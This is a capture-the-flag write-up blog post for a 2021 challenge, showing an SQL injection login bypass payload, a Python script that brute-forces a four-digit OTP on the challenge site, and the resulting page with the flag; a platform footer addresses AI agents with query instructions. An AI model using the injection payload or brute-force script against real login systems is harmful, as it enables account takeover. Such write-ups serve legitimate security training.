> For the complete documentation index, see [llms.txt](https://blog.dhilipsanjay.in/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.dhilipsanjay.in/ctfs/2021-ctfs/gurugramcyberheist/mobilephonesarebad.md).

# Mobile Phones are Bad

**Date:** 04, July, 2021

**Author:** Dhilip Sanjay S

***

* The hacker said, Gurugram Interns are intelligent enough to get through this challenge. `https://mudpmd.hackingbrawl.com/`

### Let's brush some database

* **Answer:** ctf{youdidit}
* **Hint:** Well admin will receive otp of 4 digits.
* **Steps to Reproduce:**
  * Use a basic SQL injection payload to bypass the login.
  * Error based SQLi
    * username: `' or '1=1`
    * password: `' or '1=1`

![OTP](/files/OCD3pbdmWANPlsIdlXA6)

* We have the OTP Verification page - without rate limiting.
* We can bruteforce the OTP!

![OTP Verification](/files/RXEnBZZhICMfShLusdIt)

* Bruteforcing Python script:

```py
#! /usr/bin/python3
import requests

url = 'https://mudpmd.hackingbrawl.com/validate_login.php'

req = requests.Session()
for num in range(1000, 10000):
	try:
		print("[+] Guessing ", num)
		data = {
			'code' : num,
			'btnValidate' : ''
		}
		r = req.post(url, data=data, timeout=5)
		if "Invalid Authentication Code!" not in r.text:
			print(r.text)
			exit(0)
	except requests.Timeout as err:
		print("Error occurred")
		break
```

* The OTP is **7621**:

```html
[..snip..]
[+] Guessing  7621
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hackershala OTP BYPASS : User Profile</title>

<link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="row jumbotron">
<div class="col-md-12">
<h2>
<center>Simple OTP Bypass Simulation</center>
</h2>
<p>
<center>Get Trained at hackershala.com</center>
</p>
</div>
</div>
<div class="row">
<div class="col-md-5 col-md-offset-3 well">
<h2>User Profile</h2>
<h4>Welcome Hacker</h4>
<p>Account Details: ctf{youdidit}</p>
<p>Name: Admin </p>
<p>Username admin </p>
<p>Email <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1d7c797074735d7c79707473337e7270">[email&#160;protected]</a></p>
<br>
Click here to <a href="logout.php">Logout</a>
</div>
</div>
</div>
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script></body>
</html>
```

![OTP Hacked](/files/0qBwk5p4xt96JJmS9QSS)

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.dhilipsanjay.in/ctfs/2021-ctfs/gurugramcyberheist/mobilephonesarebad.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
